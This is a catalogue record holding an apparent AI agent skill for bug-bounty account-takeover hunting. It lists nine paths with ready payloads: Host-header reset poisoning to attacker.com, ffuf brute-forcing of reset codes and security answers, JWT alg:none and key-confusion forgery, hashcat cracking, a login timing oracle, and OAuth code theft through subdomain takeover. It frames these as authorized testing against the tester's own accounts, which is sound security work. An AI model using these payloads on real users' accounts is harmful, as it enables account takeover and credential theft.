{"id":"hunt-ato","name":"hunt-ato","summary":"ハントアカウント乗っ取りの分類法 — ATOへの9つの異なるルートとチェーン。","body":"## 13. ATO — ACCOUNT TAKEOVER TAXONOMY\n> 9 distinct paths. ATO is a destination class, not a single bug — each path below is a primitive that becomes Critical only when you demonstrate takeover of a SECOND account (test account B) you do not control, from attacker A's session/IP/device. A path that only locks you out of your own account, or only works when you already hold the victim's password AND session, is not a standalone ATO.\n\n### Path 1: Password Reset Poisoning (Host-Header)\n```bash\nPOST /forgot-password HTTP/1.1\nHost: attacker.com                 # primary Host swap\n# OR keep real Host and add one of:\nX-Forwarded-Host: attacker.com\nX-Host: attacker.com\nX-Forwarded-Server: attacker.com\n# OR dual-Host smuggling:  Host: target.com\\r\\nHost: attacker.com\n\nemail=victimB@company.com\n```\nThe reset mailer builds the link from the request Host header → link points to `attacker.com/reset?token=XXXX`. **Confirmation = OOB, not response-based:** point the header at a Burp Collaborator / unique DNS name and read the actual email (use a controlled victim B inbox you own for the test). If the token only appears in the email body that lands at your Collaborator host, you have proof.\n**False-positive killer:** many apps put `attacker.com` in the email but the actual link domain is server-pinned — read the email, do not infer from the reflected header.\n\n### Path 2: Reset Token in Referer / Open-Redirect Leak\n```\nGET /reset-password?token=ABC123\n→ page loads third-party resource: <script src=\"https://analytics.com/t.js\">\n→ browser sends  Referer: https://target.com/reset-password?token=ABC123\n→ token exfiltrated to every off-origin host the page calls\n```\nAlso test reset pages that 302 to an open redirect carrying the token in the URL. **Proof:** capture the outbound request in the Network tab (or Collaborator if you control the off-origin host) showing the full token in the Referer. Mitigated by `Referrer-Policy: no-referrer` + tokens in POST body — note their absence.\n\n### Path 3: Predictable / Weak Reset Tokens\n```bash\n# 6-digit numeric OTP-style reset code, no rate limit:\nffuf -u \"https://target.com/api/reset/verify\" -X POST \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"email\":\"victimB@company.com\",\"code\":\"FUZZ\"}' \\\n  -w <(seq -w 000000 999999) -mc 200 -fr \"invalid\" -t 5\n# time-based tokens: capture 5 tokens, diff — md5(timestamp)/sequential int = predictable\n```\n**Discipline:** request the victim-B token yourself (you own B), confirm entropy by sampling, THEN show a fresh brute lands. A rate-limit-only finding on `/forgot-password` is routinely rejected — the impact is token guessing, not request flooding.\n\n### Path 4: Token No-Expiry / Reuse / Cross-Account\n```\nExpiry:  request token → wait 2h → still valid? = bug\nReuse:   use token once → use again → still valid? = bug\nMulti:   request token#1, then token#2 → is token#1 still valid? (should be invalidated)\nCross:   does B's token reset A's password if you swap the userid/email param? = IDOR-in-reset\n```\n\n### Path 5: Email Change Without Re-Auth\n```bash\nPUT /api/user/email HTTP/1.1\nCookie: session=ATTACKER_A_SESSION\n{\"new_email\":\"attacker@evil.com\"}     # no current_password, no OTP, no email-confirm\n```\nIf the change takes effect with no current-password challenge and no confirm-link to the OLD address, trigger password reset → reset lands at attacker mailbox → ATO. The strongest variant skips even the new-address confirmation. Branded pattern: account-link / email-change → ATO via missing re-auth.\n\n### Path 6: JWT Manipulation\n```bash\n# (a) alg:none — strip the signature, set header alg to none\npython3 -c \"import jwt; print(jwt.encode({'sub':'victimB','role':'admin'}, key='', algorithm='none'))\"\n# send: header {\"alg\":\"none\",\"typ\":\"JWT\"}, payload {\"sub\":\"victimB\"}, empty signature\n#\n# (b) RS256 -> HS256 key confusion: re-sign with the server's PUBLIC key as the HMAC secret\ncurl -s https://target.com/.well-known/jwks.json   # or /oauth/.well-known/...  grab the RSA pub key\n# convert JWK -> PEM, then sign HS256 using that PEM bytes as the secret -> server verifies it\n#\n# (c) weak HMAC secret: crack offline\nhashcat -a 0 -m 16500 token.jwt rockyou.txt   # -m 16500 = JWT\n#\n# (d) kid injection: kid=../../../dev/null (empty key) or kid=' UNION SELECT 'secret -- (SQL-backed kid)\n```\n**Verified grounding for this class:** [CVE-2015-9235](https://nvd.nist.gov/vuln/detail/CVE-2015-9235) (node `jsonwebtoken` <4.2.2 — alg confusion / none bypass), [CVE-2016-10555](https://nvd.nist.gov/vuln/detail/CVE-2016-10555) (`jwt-simple` RS256→HS256). **Validate:** forged token must reach a privileged endpoint as victim B (e.g. `GET /api/admin` or `/api/users/B`) — decoding/forging is not impact; an authorized action under B's identity is. If the server ignores the forged `sub` and keys off the session cookie, the JWT is not the trust boundary — no finding.\n\n### Path 7: Password Change Without Step-Up + Login Oracle\n```bash\n# (a) password-change endpoint accepts a new password with no current-password / no MFA challenge:\nPOST /api/account/password\nCookie: session=STOLEN_B_COOKIE        # from XSS, session-fixation, or token leak\n{\"new_password\":\"Pwned#2026\"}          # no \"current_password\" field\n#\n# (b) login oracle to find a valid password without an existing cookie — measure response delta:\nfor p in $(cat candidates.txt); do\n  t=$(curl -s -o /dev/null -w '%{time_total}' -d \"user=victimB&pass=$p\" https://target.com/login)\n  printf '%s\\t%s\\n' \"$t\" \"$p\"\ndone | sort -n     # bcrypt-vs-fast-reject timing gap, or response-length diff, leaks valid pass\n```\nA no-step-up password-change endpoint is the **persistence multiplier**: cookie theft (transient) + this = attacker sets a new password from the stolen cookie → owns B from any device/IP, victim locked out. **False-positive check:** confirm there is genuinely no current-password / MFA gate — many APIs accept the field as optional but still 403 server-side; replay without the field and read the actual state change (try logging in with the new password from a clean browser).\n\n### Path 8: Social-Recovery / Security-Question Abuse\n```bash\n# Security answers are low-entropy and often unthrottled. Brute the recovery-answer endpoint:\nffuf -u \"https://target.com/account/recover/answer\" -X POST \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"email\":\"victimB@company.com\",\"question\":\"pet\",\"answer\":\"FUZZ\"}' \\\n  -w common-answers.txt -mc 200 -fr \"incorrect\" -t 5\n# also test: answers returned/echoed in /api/me or recovery page source (client-side check)\n# and: question itself reveals PII the answer to which is OSINT-able (mother maiden, first school)\n```\nPair with `offensive-osint`: many \"secret\" answers (birth city, pet, school) are public on social profiles → no brute needed. **Validate** by completing the recovery flow end-to-end into a session on account B.\n\n### Path 9: SSO Subdomain Takeover at OAuth redirect_uri\n```bash\n# (a) enumerate accepted redirect_uri patterns — does the provider accept *.target.com subdomains?\nGET /oauth/authorize?client_id=...&redirect_uri=https://anything.target.com/cb&response_type=code\n# (b) find a dangling subdomain (CNAME -> deprovisioned Heroku/S3/Azure/GH-Pages) via hunt-subdomain:\ndig +short staging.target.com    # CNAME -> nonexistent-app.herokuapp.com  (NXDOMAIN on the target)\n# (c) claim that host on the cloud provider, serve a callback that logs the ?code=\n# (d) send victim B the crafted authorize URL -> their code/token lands on your claimed subdomain\n```\n**Confirmation = OOB:** the auth `code` (or implicit `access_token`) must actually arrive at the host you claimed — log it server-side and exchange it for B's token. A redirect_uri that merely *reflects* an off-origin value but bounces the code through a server-pinned exchange is not exploitable. Decode any error body as JSON, not substring — `AADSTS50076` / claims-challenge responses contain a literal `access_token` substring inside the claims field that is NOT a usable token.\n\n### ATO Severity Gate\n- **Critical** — zero/low victim interaction: Host-header reset poisoning, JWT forgery to victim endpoint, lax-redirect_uri auth-code theft, IDOR-driven email change → reset.\n- **High** — one email click OR a pre-existing session/cookie required (Referer leak, no-step-up password change behind cookie theft).\n- **Medium** — requires phishing + active user interaction (OAuth-link CSRF needing the victim to click + be logged in).\n- **Low** — attacker must be MitM, or only self-account impact.\n\n---\n\n## Related Skills & Chains\n\n- **`hunt-idor`** — The most reliable ATO primitive that needs no email control and no race. Chain primitive: `PATCH /api/users/{victimB_uid}` with attacker-A session + victim UID + `{\"email\":\"attacker@evil.com\"}` → trigger password reset → reset email arrives at attacker → full ATO, zero victim interaction (Path 5 + IDOR = Critical).\n- **`hunt-mfa-bypass`** — Path 7 is only Critical if it also bypasses MFA. Chain primitive: password-change endpoint accepts a new password with no current-password challenge AND no MFA step-up → cookie theft (XSS / token leak) + login timing oracle → set new password from the stolen cookie → MFA-less ATO from any IP/device.\n- **`hunt-oauth`** — Path 9 lives here. Chain primitive: `redirect_uri` validation accepts subdomain match (`*.target.com`) + `hunt-subdomain` reveals a dangling CNAME on `staging.target.com` → claim it on Heroku/S3 → host an OAuth callback → victim clicks the crafted authorize URL → code lands on the attacker subdomain → exchange for token → ATO. Always JSON-parse OAuth error bodies; never substring-match `access_token`.\n- **`hunt-api-misconfig`** — Path 6 (JWT) detail lives here too: alg:none, RS256→HS256 key confusion (sign with the JWKS public key as the HMAC secret), `kid` path-traversal / SQLi, and weak-secret cracking (`hashcat -m 16500`). Load it together with this skill for the JWK→PEM conversion mechanics.\n- **`hunt-host-header`** — Path 1 canonical primitive. Chain primitive: `POST /forgot-password` with `Host`/`X-Forwarded-Host: attacker.com` → mailer builds the link from the request Host → link points to `attacker.com/reset?token=XXXX` → victim clicks → token leaked → ATO. Confirm via Collaborator-hosted domain reading the real email, not the reflected header.\n- **`offensive-osint`** — Path 8 force-multiplier: most security-question answers (birth city, pet, first school, mother's maiden name) are OSINT-able from social profiles → recover account B with no brute force at all.\n- **`security-arsenal`** — Pull the Password-Reset Bypass Tables (`X-Forwarded-Host`, `X-Host`, `X-HTTP-Host-Override`, dual-Host smuggling), token-entropy payloads (sequential numeric, time-based predictable), the JWT attack table, and the always-rejected list for \"rate-limit on /forgot-password\" reports.\n- **`triage-validation`** — Run the Pre-Severity Gate before claiming Critical on an ATO that needs the victim to click a link AND enter credentials AND pass CAPTCHA. The reproducibility step (10-minute fresh-browser walkthrough taking over test account B from attacker A's session) separates Critical-paid from Self-XSS-tier rejected.","author":"@elementalsouls","ownerProfile":null,"authorContacts":null,"sourceUrl":"https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-ato","license":"MIT","category":"coding","lang":"en","tokens":2841,"stars":0,"calls30d":2,"claimed":false,"visibility":"public","origin":"crawler","version":"0.1.0","createdAt":"2026-08-22","updatedAt":"2026-08-22","files":[],"requires":{"mcp":[],"tools":[]},"safety":{"flags":[],"scannedAt":"2026-08-22","hasScripts":false,"networkEndpoints":["analytics.com","anything.target.com","nvd.nist.gov","target.com"]}}